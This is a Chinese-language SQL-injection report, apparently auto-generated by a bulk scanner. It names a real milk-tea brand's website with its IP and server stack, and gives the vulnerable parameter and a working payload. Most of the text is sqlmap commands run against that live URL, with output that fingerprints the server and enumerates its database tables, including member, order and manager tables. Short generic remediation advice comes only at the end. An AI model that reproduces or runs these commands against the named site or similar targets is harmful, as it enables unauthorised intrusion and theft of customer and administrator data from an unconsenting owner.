基本信息

漏洞类型：SQL注入漏洞

漏洞等级：高危

厂商信息：此处需要手动搜索

漏洞简述

漏洞描述

即当应用程序使用输入内容来构造动态SQL语句以访问数据库时，如果对输入的参数没有进行严格的过滤或者过滤不完整将会导致SQL注入攻击的产生。

漏洞危害

恶意用户通过构造特殊的SQL查询语句把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。从而可以获取到数据库的相关信息，包括数据库账号密码信息，甚至可上传木马，从而控制服务器。

漏洞详情

网站漏洞报表

注入网址:http://yuanchayuan.cn/article\_detail.php?id=625

执行命令:python sqlmap.py -u http://yuanchayuan.cn/article\_detail.php?id=625 --random-agent --dbs --current-user --current-db --is-db

注入参数(方式) : id (GET)  
  
 注入方式 : boolean-based blind  
  
 注入标题 : AND boolean-based blind - WHERE or HAVING clause  
  
 注入攻击 : id=588 AND 1949=1949

数据库类型 : SQLite  
  
服务器版本 : Windows 2008 R2 or 7  
  
服务器语言 : Microsoft IIS 7.5, ASP.NET, PHP 5.3.8  
  
数据库版本 : SQLite

网站信息报表

百度权重 0

网站主页 http://yuanchayuan.cn

网站描述 "seo综合查询可以查到该网站各大搜索引擎的信息，包括收录，反链及关键词排名，也可以一目了然的看到该域名的相关信息，比如域名年龄相关备案等等，及时调整网站优化。" /

网站标题 元茶圆奶茶\_台湾网红奶茶，品牌实力强，元茶

IP\_\_坐标 北京市 北京百度网讯科技有限公司BGP节点

所属\_\_IP 180.76.189.182

网站年龄 9月23天（创建于2018年07月10日,过期时间为2019年07月10日)

备案编号 暂无信息

备案性质 暂无信息

备案名称 暂无信息

备案时间 暂无信息

百度收录 暂无信息

协议类型 HTTP/1.1 200 OK

页面类型 text/html; charset=utf-8

服务类型 Microsoft-IIS/7.5

程序语言 暂无信息

网站漏洞复现

执行命令

python sqlmap.py -u http://yuanchayuan.cn/article\_detail.php?id=625 --random-agent --dbs --current-user --current-db --is-db

返回结果

\_\_\_  
  
 \_\_H\_\_  
  
 \_\_\_ \_\_\_[,]\_\_\_\_\_ \_\_\_ \_\_\_ {1.2.11.6#dev}  
  
|\_ -| . [)] | .'| . |  
  
|\_\_\_|\_ [)]\_|\_|\_|\_\_,| \_|  
  
 |\_|V |\_| http://sqlmap.org  
  
  
  
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program  
  
  
  
[\*] starting @ 00:38:54 /2019-05-03/  
  
  
  
[00:38:54] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0' from file 'D:\HACKER\_TOOLS\LANGZI\_HACKER\LANGZI\_SQL\_INJECTION\Auto\_ExtrAct\_1.0\sqlmap\txt\user-agents.txt'  
  
[00:38:55] [INFO] resuming back-end DBMS 'sqlite'   
  
[00:38:55] [INFO] testing connection to the target URL  
  
[00:38:55] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS  
  
sqlmap resumed the following injection point(s) from stored session:  
  
---  
  
Parameter: id (GET)  
  
 Type: boolean-based blind  
  
 Title: AND boolean-based blind - WHERE or HAVING clause  
  
 Payload: id=588 AND 1949=1949  
  
---  
  
[00:38:55] [INFO] the back-end DBMS is SQLite  
  
web server operating system: Windows 2008 R2 or 7  
  
web application technology: Microsoft IIS 7.5, ASP.NET, PHP 5.3.8  
  
back-end DBMS: SQLite  
  
[00:38:55] [WARNING] on SQLite it is not possible to enumerate the current user  
  
current user: None  
  
[00:38:55] [WARNING] on SQLite it is not possible to get name of the current database  
  
current database: None  
  
[00:38:55] [WARNING] on SQLite the current user has all privileges  
  
current user is DBA: None  
  
[00:38:55] [WARNING] on SQLite it is not possible to enumerate databases (use only '--tables')  
  
[00:38:55] [INFO] fetched data logged to text files under 'C:\Users\langzi\.sqlmap\output\yuanchayuan.cn'  
  
  
  
[\*] ending @ 00:38:55 /2019-05-03/

敏感数据

注入参数(方式) : id (GET)  
  
 注入方式 : boolean-based blind  
  
 注入标题 : AND boolean-based blind - WHERE or HAVING clause  
  
 注入攻击 : id=588 AND 1949=1949

数据库类型 : SQLite  
  
服务器版本 : Windows 2008 R2 or 7  
  
服务器语言 : Microsoft IIS 7.5, ASP.NET, PHP 5.3.8  
  
数据库版本 : SQLite

执行命令

python sqlmap.py -u http://yuanchayuan.cn/article\_detail.php?id=625 --tables --random-agent

返回结果

\_\_\_  
  
 \_\_H\_\_  
  
 \_\_\_ \_\_\_[.]\_\_\_\_\_ \_\_\_ \_\_\_ {1.2.11.6#dev}  
  
|\_ -| . [)] | .'| . |  
  
|\_\_\_|\_ [']\_|\_|\_|\_\_,| \_|  
  
 |\_|V |\_| http://sqlmap.org  
  
  
  
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program  
  
  
  
[\*] starting @ 00:38:59 /2019-05-03/  
  
  
  
[00:38:59] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16' from file 'D:\HACKER\_TOOLS\LANGZI\_HACKER\LANGZI\_SQL\_INJECTION\Auto\_ExtrAct\_1.0\sqlmap\txt\user-agents.txt'  
  
[00:38:59] [INFO] resuming back-end DBMS 'sqlite'   
  
[00:38:59] [INFO] testing connection to the target URL  
  
[00:38:59] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS  
  
sqlmap resumed the following injection point(s) from stored session:  
  
---  
  
Parameter: id (GET)  
  
 Type: boolean-based blind  
  
 Title: AND boolean-based blind - WHERE or HAVING clause  
  
 Payload: id=588 AND 1949=1949  
  
---  
  
[00:38:59] [INFO] the back-end DBMS is SQLite  
  
web server operating system: Windows 2008 R2 or 7  
  
web application technology: Microsoft IIS 7.5, ASP.NET, PHP 5.3.8  
  
back-end DBMS: SQLite  
  
[00:38:59] [INFO] fetching tables for database: 'SQLite\_masterdb'  
  
[00:38:59] [INFO] fetching number of tables for database 'SQLite\_masterdb'  
  
[00:38:59] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval  
  
  
[00:38:59] [INFO] retrieved:   
  
  
[00:38:59] [WARNING] reflective value(s) found and filtering out  
  
  
  
[00:39:00] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'  
  
[00:39:00] [WARNING] unable to retrieve the number of tables for database 'SQLite\_masterdb'  
  
[00:39:00] [ERROR] unable to retrieve the table names for any database  
  
Database: SQLite\_masterdb  
  
[10 tables]  
  
+----------+  
  
| CATEGORY |  
  
| MEMBER |  
  
| ORDERS |  
  
| ad |  
  
| feedback |  
  
| job |  
  
| links |  
  
| manager |  
  
| menu |  
  
| room |  
  
+----------+  
  
  
  
[00:39:00] [INFO] fetched data logged to text files under 'C:\Users\langzi\.sqlmap\output\yuanchayuan.cn'  
  
  
  
[\*] ending @ 00:39:00 /2019-05-03/

敏感数据

当前数据库下存在如下表

Database: SQLite\_masterdb  
  
[10 tables]  
  
+----------+  
  
| CATEGORY |  
  
| MEMBER |  
  
| ORDERS |  
  
| ad |  
  
| feedback |  
  
| job |  
  
| links |  
  
| manager |  
  
| menu |  
  
| room |  
  
+----------+

复现完成，验证存在SQL注入漏洞

修复建议

代码原理防护

1.对用户的输入进行严格过滤，包括所有的参数，URL和HTTP头部等所有需要传给数据库的数据。  
 包括但不限于以下字符及字符串  
 select and or like regxp from where update exec order by having drop delete ( ) [ ] < > , . ; : ' " # % + - \_ = / \* @  
 2.预编译SQL语句，而不要动态组装SQL语句，否则必须确保在使用输入的数据组装成SQL语句之前，对特殊字符进行预处理。  
 3.以最小权限执行SQL语句

安全防火墙防护

1.安装网站防火墙  
 2.接入云WAF